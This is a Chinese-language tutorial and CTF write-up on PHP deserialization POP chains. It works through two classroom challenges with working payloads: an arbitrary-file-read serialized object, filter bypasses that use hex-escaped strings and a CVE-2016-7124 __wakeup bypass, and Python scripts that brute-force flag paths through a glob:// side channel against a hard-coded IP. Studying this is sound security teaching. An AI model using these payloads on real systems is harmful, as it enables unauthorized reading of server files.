一、POP链简介
1、POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
2、POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
二、POP链利用技巧
1、一些有用的POP链中出现的方法:
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
2、反序列化中为了避免信息丢失,使用大写S支持字符串的编码。PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
三、课堂实例
1、PHP反序列化题目1
(1)源码
<?php
// 题目中的第一个Class
class MyDirectory {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString(){
$num = count(scandir($this->name));
if($num > 0){
return "count $num files";
} else {
// C限制点
return "flag path is /flag_{{uuid}}";
}
}
}
// 题目中的第二个Class
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
// B限制点
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
//题目中的限制
if(isset($_GET['input'])){
$input = $_GET['input'];
// A限制点
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
(2)限制点
- A:输入时候会检查参数中是否有 user 字符串。使用
s:4:"user"; -> S:4:"use\72";
绕过。 - B:输入的 MyFile->name 会被 __wakeup 中替换掉,而修改属性绕过 __wakeup 的办法需要7.0.10以前,这里不适用。发现$this->user 的值是可控的,利用浅copy来绕过过滤。
-
C:无法直接获取文件名。配合glob://协议来侧信道出flag的文件名字。
(3)POP链构造
任意文件读
<?php
class MyFile {
public $name='/etc/hosts';
public $user='';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user","use\\72",$b);
$b = str_replace("s","S",$b);
var_dump($b);
// 得到序列化结果:
// O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\\72";R:2;}
// 文件任意读 payload:
// input=O:6:"MyFile":2: {s:4:"name";s:0:"";S:4:"us\65r";R:2;}&user=/proc/self/mounts
(4)获取flag文件名:
如果MyFile类的对象中变量name指向了MyDirectory类,那么在wakeup函数中的语句stristr会触发 MyDirectory的__toString函数,但是因为函数中的字符串返回是return的形式,调用是无法回显的,不能直接获得flag路径中的uuid部分。
<?php
class MyDirectory {
public $name='glob:///flag_';
}
class MyFile {
public $name='/etc/hostname';
public $user='';
}
$a = new MyFile();
$a->name = new MyDirectory();
$b = serialize($a);
var_dump($b);
// O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:13:"glob:///flag_";}s:4:"user";s:0:"";}
因此需要利用返回的字符串中是否存在 flag 字符串,这里可以通过glob协议利用匹配符号进行猜解, glob协议能够查找匹配的文件路径模式,当目标匹配不存在时会返回⻓度为0的数组,因此在这个地方能够通过不同的回显进行盲注。如果存在该文件路径,则返回字符串中有flag字符,返回/etc/passwd页面。若不存在该文件路径,则返回字符串为"count $num files"中无flag字符,返回/etc/hostname页面。
import requests
url = 'http://124.16.75.162:31102/'
flag = ''
for _ in range(1,40):
for i in range(32,128):
if i == 37 or i == 42 or i == 63:
continue
param = r'?input=O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1: {s:4:"name";s:'+str(14+_)+':"glob:///flag_'+flag+chr(i)+'%2a";}S:4:"us\\65r";s :0:"";}'
# print(url+param)
res = requests.get(url+param)
if 'root' in res.text:
flag += chr(i)
print(flag)
# 最后得到路径
# flag_fecd0d9b-2852-497d-b829-0c5bf11c5021
2、PHP反序列化题目2
(1)源码
<?php
error_reporting(0);
class MyDirectory {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString(){
$ans = array();
$dir = new DirectoryIterator($this->name);
foreach($dir as $file) {
$ans[] = $file->__toString();
}
$num = count($ans);
if($num > 0){
return "count $num files,flag path is /flag_{{md5}}";
} else {
return "no dir";
}
}
}
class MyFile {
public $name;
public function __construct($name, $user) {
$this->name = $name;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'flag')!==False){
die('Hacker');
} else {
unserialize($input);
}
} else {
highlight_file(__FILE__);
}
?>
(2)限制点
该题与上一题考点类似,但思路更为简单。
- A:输入时候会检查参数中是否有 flag 字符串。使用
s:4:"flag"; -> S:4:"fl\\61g";
绕过。 - B:wakeup绕过读文件。php版本为5.6,可通过CVE-2016-7124绕过__wakeup函数读文件。
- C:找出flag路径。配合glob://协议来侧信道出flag的文件名字。
(3)侧信道找出flag路径。
<?php
class MyFile {
public $name='glob:///flag_';
}
class MyDirectory {
public $name='/etc/hostname';
}
$a = new MyFile();
$a->name = new MyDirectory();
$b = serialize($a);
var_dump($b);
// O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:13:"glob:///flag_";}s:4:"user";s:0:"";}
import requests
url = 'http://124.16.75.162:31025/'
flag = ''
for _ in range(1,40):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
param = r'?input=O:6:"MyFile":1:{s:4:"name";O:11:"MyDirectory":1: {s:4:"name";S:'+str(14+_)+':"glob:///fl\\61g_'+flag+str(i)+'%2a";}}'
res = requests.get(url+param)
# print(res.text)
if 'root' not in res.text:
flag += str(i)
print(flag)
break
# e8688a175ca54ff6b0858f91845cbff5
(4)php版本为5.6,可通过CVE-2016-7124绕过__wakeup函数读文件。
<?php
class MyFile {
public $name='/flag_e8688a175ca54ff6b0858f91845cbff5';
}
$a = new MyFile();
$b = serialize($a);
$b = str_replace("flag","fl\\61g",$b);
var_dump($b);
// payload : O:6:"MyFile":2:{s:4:"name";S:38:"/fl\61g_e8688a175ca54ff6b0858f91845cbff5";}
网友评论